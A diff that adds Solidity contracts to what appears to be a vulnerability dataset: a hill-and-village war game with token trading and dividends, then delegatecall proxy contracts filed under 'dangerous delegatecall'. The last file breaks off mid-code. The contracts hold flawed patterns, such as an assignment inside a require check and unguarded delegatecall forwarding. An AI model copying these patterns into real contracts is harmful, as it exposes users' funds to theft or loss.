{ + address hillowner; + uint soldiersdefendinghill; + mapping(address => uint256) soldiers; + mapping(uint256 => Village) villages; + mapping(address => uint256) GOTCH; + mapping(address => uint256) redeemedvils; + bool ERCtradeactive; + uint roundlength; + +} +struct Marketoffer{ + address placedby; + uint256 amountdotch; + uint256 wantsthisamtweiperdotch; +} + +event villtakeover(address from, address to, uint villageint); +event hilltakeover(address from, address to); +event battle(address attacker, uint pointsattacker, address defender, uint pointsdefender); +event dotchsale( address seller,uint price, address taker , uint256 amount); +uint256 public ethforp3dbuy; +uint256 public round; +uint256 public nextmarketoffer; +uint256 public nextroundlength = 10000000000000000000000; +uint256 public nextroundtotalsupplyGOTCH = 10000; +uint256 public nextroundGOTCHatcontract = 10000; +uint256 public nextroundsolsforhire = 100; +uint256 public nextroundsoldierreplenishrate = 50; +uint256 public nextroundblocksbeforenewpay = 250; +bool public divsforall; +bool public nextroundERCtradeactive = true; +mapping(uint256 => Variables) public roundvars; +mapping(uint256 => Ownables) public roundownables; + mapping(address => uint256) public Redeemable; + mapping(uint256 => Marketoffer) public marketplace; + +function harvestabledivs() + view + public + returns(uint256) + { + return ( P3Dcontract_.dividendsOf(address(this))) ; + } + +function villageinfo(uint256 lookup) + view + public + returns(address owner, uint256 soldiersdefending,uint256 lastcollect,uint256 beginnersprotection) + { + return ( roundownables[round].villages[lookup].owner,roundownables[round].villages[lookup].defending,roundownables[round].villages[lookup].lastcollect,roundownables[round].villages[lookup].beginnerprotection) ; + } +function gotchinfo(address lookup) + view + public + returns(uint256 Gold) + { + return ( roundownables[round].GOTCH[lookup]) ; + } +function soldiersinfo(address lookup) + view + public + returns(uint256 soldiers) + { + return ( roundownables[round].soldiers[lookup]) ; + } +function redeemablevilsinfo(address lookup) + view + public + returns(uint256 redeemedvils) + { + return ( roundownables[round].redeemedvils[lookup]) ; + } +function playerinfo(address lookup) + view + public + returns(uint256 redeemedvils,uint256 redeemablevils , uint256 soldiers, uint256 GOTCH) + { + return ( + roundownables[round].redeemedvils[lookup], + Redeemable[lookup], + roundownables[round].soldiers[lookup], + roundownables[round].GOTCH[lookup] + ) ; + } +uint256 private div; +uint256 private ethtosend; + +function () external payable{} + +constructor () public { + round++; + roundvars[round].totalsupplyGOTCH = 10000; + roundvars[round].GOTCHatcontract = 10000; + roundvars[round].solsforhire = 100; + roundvars[round].soldierreplenishrate = 50; + roundvars[round].solslastupdate = block.number; + updatesolbuyrate(); + roundvars[round].lastblockpayout = block.number; + roundownables[round].hillowner = msg.sender; + roundvars[round].nextpayamount = 0; + roundvars[round].nextowneramount = 0; + roundvars[round].previousethamount = 0; + roundvars[round].blocksbeforenewpay = 250; + roundvars[round].bpamount = 30000; + roundownables[round].ERCtradeactive = true; + roundownables[round].roundlength = 10000000000000000000000; + divsforall = false; + } +function hillpayout() internal { + require(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)); + + roundvars[round].lastblockpayout = roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay); + ethforp3dbuy = ethforp3dbuy.add((address(this).balance.sub(ethforp3dbuy)).div(100)); + owner.transfer((address(this).balance.sub(ethforp3dbuy)).div(100)); + roundvars[round].ATPO = roundvars[round].ATPO.add((address(this).balance.sub(ethforp3dbuy)).div(2)); + roundownables[round].hillowner.transfer((address(this).balance.sub(ethforp3dbuy)).div(2)); + +} +function attackhill(uint256 amtsoldiers) public payable returns(bool, uint){ + require(msg.value >= 1 finney); + if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) + { + hillpayout(); + } + + require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); + require(amtsoldiers >= 1); + if(msg.sender == roundownables[round].hillowner) +{ + roundownables[round].soldiersdefendinghill = roundownables[round].soldiersdefendinghill.add(amtsoldiers); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); + return (false, 0); +} +if(msg.sender != roundownables[round].hillowner) +{ + if(roundownables[round].soldiersdefendinghill < amtsoldiers) + { + emit hilltakeover(roundownables[round].hillowner,msg.sender); + emit battle(msg.sender,roundownables[round].soldiersdefendinghill,roundownables[round].hillowner,roundownables[round].soldiersdefendinghill); + roundownables[round].hillowner = msg.sender; + roundownables[round].soldiersdefendinghill = amtsoldiers.sub(roundownables[round].soldiersdefendinghill); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); + return (true, roundownables[round].soldiersdefendinghill); + } + if(roundownables[round].soldiersdefendinghill >= amtsoldiers) + { + roundownables[round].soldiersdefendinghill = roundownables[round].soldiersdefendinghill.sub(amtsoldiers); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); + emit battle(msg.sender,amtsoldiers,roundownables[round].hillowner,amtsoldiers); + return (false, amtsoldiers); + } +} + +} +function supporthill(uint256 amtsoldiers) public payable { + require(msg.value >= 1 finney); + require(roundownables[round].hillowner == msg.sender); + require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); + require(amtsoldiers >= 1); + roundownables[round].soldiersdefendinghill = roundownables[round].soldiersdefendinghill.add(amtsoldiers); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); +} + +function changetradestatus(bool active) public onlyOwner { + + roundownables[round].ERCtradeactive = active; + +} +function setdivsforall(bool active) public onlyOwner { + + divsforall = active; + +} +function changebeginnerprotection(uint256 blockcount) public onlyOwner { + roundvars[round].bpamount = blockcount; +} +function changesoldierreplenishrate(uint256 rate) public onlyOwner { + roundvars[round].soldierreplenishrate = rate; +} +function updatesolsforhire() internal { + roundvars[round].solsforhire = roundvars[round].solsforhire.add((block.number.sub(roundvars[round].solslastupdate)).mul(roundvars[round].nextVillageId).mul(roundvars[round].soldierreplenishrate)); + roundvars[round].solslastupdate = block.number; +} +function updatesolbuyrate() internal { +if(roundvars[round].solsforhire > roundvars[round].totalsupplyGOTCH) + { + roundvars[round].solsforhire = roundvars[round].totalsupplyGOTCH; + } + roundvars[round].soldierprice = roundvars[round].totalsupplyGOTCH.div(roundvars[round].solsforhire); + if(roundvars[round].soldierprice < 1) + { + roundvars[round].soldierprice = 1; + } +} +function buysoldiers(uint256 amount) public payable { + require(msg.value >= 1 finney); + updatesolsforhire(); + updatesolbuyrate() ; + require(amount <= roundvars[round].solsforhire); + + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].add(amount); + roundvars[round].solsforhire = roundvars[round].solsforhire.sub(amount); + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].sub( amount.mul(roundvars[round].soldierprice)); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(amount.mul(roundvars[round].soldierprice)); + +} + +function createvillage() public payable { + require(msg.value >= 10 finney); + if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) + { + hillpayout(); + } + + roundownables[round].villages[roundvars[round].nextVillageId].owner = msg.sender; + + roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; + roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; + roundvars[round].nextVillageId ++; + + roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; + Redeemable[msg.sender]++; + roundownables[round].redeemedvils[msg.sender]++; +} +function batchcreatevillage(uint256 amt) public payable { + require(msg.value >= 10 finney * amt); + require(amt >= 1); + require(amt <= 40); + if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) + { + hillpayout(); + } + for(uint i=0; i< amt; i++) + { + roundownables[round].villages[roundvars[round].nextVillageId].owner = msg.sender; + roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; + roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; + roundvars[round].nextVillageId ++; + + roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; + } + Redeemable[msg.sender] = Redeemable[msg.sender].add(amt); + roundownables[round].redeemedvils[msg.sender] = roundownables[round].redeemedvils[msg.sender].add(amt); +} +function cheapredeemvillage() public payable { + require(msg.value >= 1 finney); + require(roundownables[round].redeemedvils[msg.sender] < Redeemable[msg.sender]); + roundownables[round].villages[roundvars[round].nextVillageId].owner = msg.sender; + roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; + roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; + roundvars[round].nextVillageId ++; + roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; + roundownables[round].redeemedvils[msg.sender]++; +} +function preregvills(address reg) public onlyOwner { + + roundownables[round].villages[roundvars[round].nextVillageId].owner = reg; + roundownables[round].villages[roundvars[round].nextVillageId].lastcollect = block.number; + roundownables[round].villages[roundvars[round].nextVillageId].beginnerprotection = block.number; + roundvars[round].nextVillageId ++; + roundownables[round].villages[roundvars[round].nextVillageId].defending = roundvars[round].nextVillageId; +} +function attack(uint256 village, uint256 amtsoldiers) public payable returns(bool, uint){ + require(msg.value >= 1 finney); + if(block.number > roundvars[round].lastblockpayout + roundvars[round].blocksbeforenewpay) + { + hillpayout(); + } + + uint bpcheck = roundownables[round].villages[village].beginnerprotection.add(roundvars[round].bpamount); + require(block.number > bpcheck); + require(roundownables[round].villages[village].owner != 0); + require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); + require(amtsoldiers >= 1); + +if(msg.sender == roundownables[round].villages[village].owner) +{ + roundownables[round].villages[village].defending = roundownables[round].villages[village].defending.add(amtsoldiers); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); + return (false, 0); +} +if(msg.sender != roundownables[round].villages[village].owner) +{ + if(roundownables[round].villages[village].defending < amtsoldiers) + { + emit battle(msg.sender,roundownables[round].villages[village].defending,roundownables[round].villages[village].owner,roundownables[round].villages[village].defending); + emit villtakeover(roundownables[round].villages[village].owner,msg.sender,village); + roundownables[round].villages[village].owner = msg.sender; + roundownables[round].villages[village].defending = amtsoldiers.sub(roundownables[round].villages[village].defending); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); + collecttaxes(village); + return (true, roundownables[round].villages[village].defending); + + } + if(roundownables[round].villages[village].defending >= amtsoldiers) + { + emit battle(msg.sender,amtsoldiers,roundownables[round].villages[village].owner,amtsoldiers); + roundownables[round].villages[village].defending = roundownables[round].villages[village].defending.sub(amtsoldiers); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); + return (false, amtsoldiers); + } +} + +} +function support(uint256 village, uint256 amtsoldiers) public payable { + require(msg.value >= 1 finney); + require(roundownables[round].villages[village].owner == msg.sender); + require(roundownables[round].villages[village].owner != 0); + require(amtsoldiers <= roundownables[round].soldiers[msg.sender]); + require(amtsoldiers >= 1); + roundownables[round].villages[village].defending = roundownables[round].villages[village].defending.add(amtsoldiers); + roundownables[round].soldiers[msg.sender] = roundownables[round].soldiers[msg.sender].sub(amtsoldiers); +} +function renewbeginnerprotection(uint256 village) public payable { + require(msg.value >= (roundvars[round].nextVillageId.sub(village)).mul(1 finney) ); + roundownables[round].villages[village].beginnerprotection = block.number; + +} +function batchcollecttaxes(uint256 a, uint256 b , uint256 c , uint256 d , uint256 e , uint256 f , uint256 g, uint256 h, uint256 i, uint256 j) public payable { + + require(msg.value >= 10 finney); + require(roundownables[round].villages[a].owner == msg.sender); + require(roundownables[round].villages[b].owner == msg.sender); + require(roundownables[round].villages[c].owner == msg.sender); + require(roundownables[round].villages[d].owner == msg.sender); + require(roundownables[round].villages[e].owner == msg.sender); + require(roundownables[round].villages[f].owner == msg.sender); + require(roundownables[round].villages[g].owner == msg.sender); + require(roundownables[round].villages[h].owner == msg.sender); + require(roundownables[round].villages[i].owner == msg.sender); + require(roundownables[round].villages[j].owner == msg.sender); + require(block.number > roundownables[round].villages[a].lastcollect); + require(block.number > roundownables[round].villages[b].lastcollect); + require(block.number > roundownables[round].villages[c].lastcollect); + require(block.number > roundownables[round].villages[d].lastcollect); + require(block.number > roundownables[round].villages[e].lastcollect); + require(block.number > roundownables[round].villages[f].lastcollect); + require(block.number > roundownables[round].villages[g].lastcollect); + require(block.number > roundownables[round].villages[h].lastcollect); + require(block.number > roundownables[round].villages[i].lastcollect); + require(block.number > roundownables[round].villages[j].lastcollect); + + uint256 test = (block.number.sub(roundownables[round].villages[a].lastcollect)).mul((roundvars[round].nextVillageId.sub(a))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[a].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[b].lastcollect)).mul((roundvars[round].nextVillageId.sub(b))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[b].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[c].lastcollect)).mul((roundvars[round].nextVillageId.sub(c))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[c].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[j].lastcollect)).mul((roundvars[round].nextVillageId.sub(j))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[j].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[d].lastcollect)).mul((roundvars[round].nextVillageId.sub(d))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[d].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[e].lastcollect)).mul((roundvars[round].nextVillageId.sub(e))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[e].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[f].lastcollect)).mul((roundvars[round].nextVillageId.sub(f))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[f].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[g].lastcollect)).mul((roundvars[round].nextVillageId.sub(g))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[g].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[h].lastcollect)).mul((roundvars[round].nextVillageId.sub(h))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[h].lastcollect = block.number; + + + test = (block.number.sub(roundownables[round].villages[i].lastcollect)).mul((roundvars[round].nextVillageId.sub(i))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[i].lastcollect = block.number; + + +} +function collecttaxes(uint256 village) public payable returns (uint){ + + require(msg.value >= 1 finney); + if(block.number > roundvars[round].lastblockpayout.add(roundvars[round].blocksbeforenewpay)) + { + hillpayout(); + } + + require(roundownables[round].villages[village].owner == msg.sender); + require(block.number > roundownables[round].villages[village].lastcollect); + uint256 test = (block.number.sub(roundownables[round].villages[village].lastcollect)).mul((roundvars[round].nextVillageId.sub(village))); + if(roundvars[round].GOTCHatcontract < test ) + { + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.add(test); + roundvars[round].totalsupplyGOTCH = roundvars[round].totalsupplyGOTCH.add(test); + } + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(test); + roundvars[round].GOTCHatcontract = roundvars[round].GOTCHatcontract.sub(test); + + roundownables[round].villages[village].lastcollect = block.number; + + return test; +} +function sellDOTCH(uint amt) payable public { + require(msg.value >= 1 finney); + require(roundownables[round].ERCtradeactive == true); + require(roundownables[round].GOTCH[this]>= amt.mul(10000)); + require(balances[msg.sender] >= amt); + require(amt >= 1); + balances[this] = balances[this].add(amt); + balances[msg.sender] = balances[msg.sender].sub(amt); + emit Transfer(msg.sender,this, amt); + roundownables[round].GOTCH[this] = roundownables[round].GOTCH[this].sub(amt.mul(10000)); + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].add(amt.mul(10000)); +} +function buyDOTCH(uint amt) payable public { + require(msg.value >= 1 finney); + require(roundownables[round].ERCtradeactive == true); + require(balances[this]>= amt); + require(roundownables[round].GOTCH[msg.sender] >= amt.mul(10000)); + require(amt >= 1); + balances[this] = balances[this].sub(amt); + balances[msg.sender] = balances[msg.sender].add(amt); + emit Transfer(this,msg.sender, amt); + roundownables[round].GOTCH[msg.sender] = roundownables[round].GOTCH[msg.sender].sub(amt.mul(10000)); + roundownables[round].GOTCH[this] = roundownables[round].GOTCH[this].add(amt.mul(10000)); +} + + +function buyp3d(uint256 amt) internal{ +P3Dcontract_.buy.value(amt)(this); +} +function claimdivs() internal{ +P3Dcontract_.withdraw(); +} +event onHarvest( + address customerAddress, + uint256 amount + ); + +function Divs() public payable{ + + require(msg.sender == roundownables[round].hillowner); + claimdivs(); + msg.sender.transfer(div); + emit onHarvest(msg.sender,div); +} +function Divsforall() public payable{ + + require(divsforall = true); + require(msg.value >= 1 finney); + div = harvestabledivs(); + require(div > 0); + claimdivs(); + msg.sender.transfer(div); + emit onHarvest(msg.sender,div); +} +function Expand() public { + buyp3d(ethforp3dbuy); + ethforp3dbuy = 0; +} + + +function placeoffer(uint256 dotchamount, uint256 askingpriceinwei) payable public{ + require(dotchamount > 0); + require(askingpriceinwei > 0); + require(balances[msg.sender] >= dotchamount); + require(msg.value >= 1 finney); + balances[msg.sender] = balances[msg.sender].sub(dotchamount); + balances[this] = balances[this].add(dotchamount); + emit Transfer(msg.sender,this, dotchamount); + marketplace[nextmarketoffer].placedby = msg.sender; + marketplace[nextmarketoffer].amountdotch = dotchamount; + marketplace[nextmarketoffer].wantsthisamtweiperdotch = askingpriceinwei; + nextmarketoffer++; +} +function adddotchtooffer(uint256 ordernumber , uint256 dotchamount) public +{ + require(dotchamount > 0); + require(msg.sender == marketplace[ordernumber].placedby); + require(balances[msg.sender] >= dotchamount); + + balances[msg.sender] = balances[msg.sender].sub(dotchamount); + balances[this] = balances[this].add(dotchamount); + emit Transfer(msg.sender,this, dotchamount); + marketplace[ordernumber].amountdotch = marketplace[ordernumber].amountdotch.add(dotchamount); +} +function removedotchtooffer(uint256 ordernumber , uint256 dotchamount) public +{ + require(dotchamount > 0); + require(msg.sender == marketplace[ordernumber].placedby); + require(balances[this] >= dotchamount); + + balances[msg.sender] = balances[msg.sender].add(dotchamount); + balances[this] = balances[this].sub(dotchamount); + emit Transfer(this,msg.sender, dotchamount); + marketplace[ordernumber].amountdotch = marketplace[ordernumber].amountdotch.sub(dotchamount); +} +function offerchangeprice(uint256 ordernumber ,uint256 price ) public +{ + require(price > 0); + require(msg.sender == marketplace[ordernumber].placedby); + marketplace[ordernumber].wantsthisamtweiperdotch = price; +} +function takeoffer(uint256 ordernumber ,uint256 amtdotch ) public payable +{ + require(msg.value >= marketplace[ordernumber].wantsthisamtweiperdotch.mul(amtdotch)); + require(amtdotch > 0); + require(marketplace[ordernumber].amountdotch >= amtdotch); + require(msg.sender != marketplace[ordernumber].placedby); + require(balances[this] >= amtdotch); + marketplace[ordernumber].amountdotch = marketplace[ordernumber].amountdotch.sub(amtdotch); + balances[msg.sender] = balances[msg.sender].add(amtdotch); + balances[this] = balances[this].sub(amtdotch); + emit Transfer(this,msg.sender, amtdotch); + emit dotchsale(marketplace[ordernumber].placedby,marketplace[ordernumber].wantsthisamtweiperdotch, msg.sender, amtdotch); + marketplace[ordernumber].placedby.transfer(marketplace[ordernumber].wantsthisamtweiperdotch.mul(amtdotch)); +} + +function startnewround() public { + require(roundvars[round].ATPO > roundownables[round].roundlength); + round++; + roundvars[round].totalsupplyGOTCH = nextroundtotalsupplyGOTCH; + roundvars[round].GOTCHatcontract = nextroundtotalsupplyGOTCH; + roundvars[round].solsforhire = nextroundsolsforhire; + roundvars[round].soldierreplenishrate = nextroundsoldierreplenishrate; + roundvars[round].solslastupdate = block.number; + updatesolbuyrate(); + roundvars[round].lastblockpayout = block.number; + roundownables[round].hillowner = msg.sender; + roundvars[round].nextpayamount = roundvars[round-1].nextpayamount; + roundvars[round].nextowneramount = roundvars[round-1].nextowneramount; + roundvars[round].previousethamount = roundvars[round-1].previousethamount; + roundvars[round].blocksbeforenewpay = nextroundblocksbeforenewpay; + roundownables[round].ERCtradeactive = nextroundERCtradeactive; + roundvars[round].bpamount = 30000; + +} + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/11089.sol b/smart_contract_dataset/dangerous delegatecall/11089.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/11089.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/12692.sol b/smart_contract_dataset/dangerous delegatecall/12692.sol new file mode 100644 index 0000000000000000000000000000000000000000..2f66505a758506baa3c2bd94fd9b08460cc0f44d --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/12692.sol @@ -0,0 +1,126 @@ + + +pragma solidity ^0.4.23; + +contract References { + + mapping (bytes32 => address) internal references; + +} + +contract AuthorizedList { + + bytes32 constant PRESIDENT = keccak256("Republics President!"); + bytes32 constant STAFF_MEMBER = keccak256("Staff Member."); + bytes32 constant AIR_DROP = keccak256("Airdrop Permission."); + bytes32 constant INTERNAL = keccak256("Internal Authorization."); + mapping (address => mapping(bytes32 => bool)) authorized; + +} + +contract Authorized is AuthorizedList { + + + + function Authorized() public { + + authorized[msg.sender][PRESIDENT] = true; + + } + + + + + + modifier ifAuthorized(address _address, bytes32 _authorization) { + + require(authorized[_address][_authorization] || authorized[_address][PRESIDENT], "Not authorized to access!"); + _; + + } + + + + + function isAuthorized(address _address, bytes32 _authorization) public view returns (bool) { + + return authorized[_address][_authorization]; + + } + + + + + function toggleAuthorization(address _address, bytes32 _authorization) public ifAuthorized(msg.sender, PRESIDENT) { + + + require(_address != msg.sender, "Cannot change own permissions."); + + + if (_authorization == PRESIDENT && !authorized[_address][PRESIDENT]) + authorized[_address][STAFF_MEMBER] = false; + + authorized[_address][_authorization] = !authorized[_address][_authorization]; + + } + +} + +contract main is References, AuthorizedList, Authorized { + + event LogicUpgrade(address indexed _oldbiz, address indexed _newbiz); + event StorageUpgrade(address indexed _oldvars, address indexed _newvars); + + function main(address _logic, address _storage) public Authorized() { + + require(_logic != address(0), "main: Unexpectedly logic address is 0x0."); + require(_storage != address(0), "main: Unexpectedly storage address is 0x0."); + references[bytes32(0)] = _logic; + references[bytes32(1)] = _storage; + + } + + + + + function setReference(address _address, bytes32 _key) external ifAuthorized(msg.sender, PRESIDENT) { + + require(_address != address(0), "setReference: Unexpectedly _address is 0x0"); + + if (_key == bytes32(0)) emit LogicUpgrade(references[bytes32(0)], _address); + else emit StorageUpgrade(references[_key], _address); + + if (references[_key] != address(0)) + delete references[_key]; + + references[_key] = _address; + + } + + + + function getReference(bytes32 _key) external view ifAuthorized(msg.sender, PRESIDENT) returns(address) { + + return references[_key]; + + } + + function() external payable { + + address _target = references[bytes32(0)]; + assembly { + let _calldata := mload(0x40) + mstore(0x40, add(_calldata, calldatasize)) + calldatacopy(_calldata, 0x0, calldatasize) + switch delegatecall(gas, _target, _calldata, calldatasize, 0, 0) + case 0 { revert(0, 0) } + default { + let _returndata := mload(0x40) + returndatacopy(_returndata, 0, returndatasize) + mstore(0x40, add(_returndata, returndatasize)) + return(_returndata, returndatasize) + } + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/13000.sol b/smart_contract_dataset/dangerous delegatecall/13000.sol new file mode 100644 index 0000000000000000000000000000000000000000..a87cd20fa95530ccc9367abab9638dc446127f2a --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/13000.sol @@ -0,0 +1,703 @@ +pragma solidity ^0.4.18; + + + + + + + + +contract Ownable { + address public owner; + address public newOwnerCandidate; + + event OwnershipRequested(address indexed by, address indexed to); + event OwnershipTransferred(address indexed from, address indexed to); + + + function Ownable() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + modifier onlyOwnerCandidate() { + require(msg.sender == newOwnerCandidate); + _; + } + + + + function requestOwnershipTransfer(address _newOwnerCandidate) external onlyOwner { + require(_newOwnerCandidate != address(0)); + + newOwnerCandidate = _newOwnerCandidate; + + OwnershipRequested(msg.sender, newOwnerCandidate); + } + + + function acceptOwnership() external onlyOwnerCandidate { + address previousOwner = owner; + + owner = newOwnerCandidate; + newOwnerCandidate = address(0); + + OwnershipTransferred(previousOwner, owner); + } +} + + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + require(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + require(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a); + return c; + } + + function max64(uint64 a, uint64 b) internal pure returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal pure returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal pure returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal pure returns (uint256) { + return a < b ? a : b; + } + + function toPower2(uint256 a) internal pure returns (uint256) { + return mul(a, a); + } + + function sqrt(uint256 a) internal pure returns (uint256) { + uint256 c = (a + 1) / 2; + uint256 b = a; + while (c < b) { + b = c; + c = (a / c + c) / 2; + } + return b; + } +} + + + + +contract ERC20 { + uint public totalSupply; + function balanceOf(address _owner) constant public returns (uint balance); + function transfer(address _to, uint _value) public returns (bool success); + function transferFrom(address _from, address _to, uint _value) public returns (bool success); + function approve(address _spender, uint _value) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint remaining); + event Transfer(address indexed from, address 